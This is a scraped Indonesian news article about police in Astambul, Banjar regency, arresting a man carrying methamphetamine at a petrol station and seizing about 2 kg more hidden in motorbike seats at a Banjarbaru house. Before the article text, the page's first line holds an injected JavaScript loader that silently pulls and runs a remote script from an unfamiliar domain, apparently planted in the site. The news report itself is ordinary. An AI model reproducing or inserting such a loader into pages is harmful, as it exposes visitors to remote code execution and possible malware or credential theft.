(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Jajaran Polsek Astambul, Kabupaten Banjar, berhasil meringkus pelaku yang kedapatan membawa narkotika jenis sabu di sebuah SPBU di Kecamatan Astambul, Kabupaten Banjar, Sabtu (27/3/2021).
Kapolres Banjar AKBP Andri Koko Prabowo, melalui Kapolsek Astambul Iptu Andi Tri Hidayat mengatakan, pelaku berinisial SC (40) warga Komplek W Kusuma RT 01, Kelurahan Kebun Bunga, Kecamatan Banjarmasin Timur.
“Kami berhasil meringkus pelaku. Penangkapan pelaku tersebut berdasarkan informasi masyarakat bakal ada transaksi. Mendapat informasi tersebut tim kami bergegas melakukan pengintaian di lokasi,” ucapnya, Minggu (28/3/2021).
Pelaku berhasil diringkus sekitar pukul 13.30 Wita, di SPBU Haji Nawi Desa Astambul Kota Kecamatan Astambul, Kabupaten Banjar.
“Sesuai dengan ciri-ciri yang disampaikan, anggota kami pun langsung melakukan penggeledahan badan terhadap pelaku. Walhasil, anggota berhasil mendapati 1 buah plastik clip yang berisikan sabu dengan berat kotor 0,95 gram,” bebernya.
Tidak puas melakukan penggeledahan di badan pelaku, petugas kepolisian juga melakukan penggeledahan terhadap motor SC.
Penggeledahan di motor pelaku pun membuahkan hasil. Polisi berhasil menemukan sabu sepuluh kantong dengan berat kotor 500 gram dari dalam jok motor pelaku
“Kita belum puas dengan hasil tersebut, kami langsung melakukan pengembangan terkait dari mana asal mula barang haram tersebut didapat oleh pelaku,” imbuhnya.
Dari keterangan pelaku, ia menyebutkan asal mula barang haram tersebut didapat di sebuah rumah yang berada di Jalan Kurnia Komplek AKR 1 Blok B No 02 RT 02 RW 03 Kelurahan Landasan Ulin Utara, Kecamatan Liang Anggang, Banjarbaru.
“Pada saat di rumah tersebut, kami juga berhasil menemukan sabu sabu dengan berarlt 2.050 gram yang disimpan di dalam jok lima unit sepeda motor yang berada di lokasi,” jelasnya.
Sayangnya, pada saat petugas kepolisian datang pelaku yang mengetahui kedatangan polisi langsung melarikan diri.
“Disaksikan tetangga sekitar, petugas kami mengamankan lima unit sepeda motor yang mana pada setiap motor terdapat barang bukti narkoba di dalam jok dengan total berat kotor 2.050 gram. Saat ini pelaku dan barang bukti dari dua lokasi TKP kami amankan di Mapolsek Astambul untuk proses hukum lebih lanjut,” pungkasnya. (Kanalkalimantan.com/wahyu)
Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More
KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More
KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More
This website uses cookies.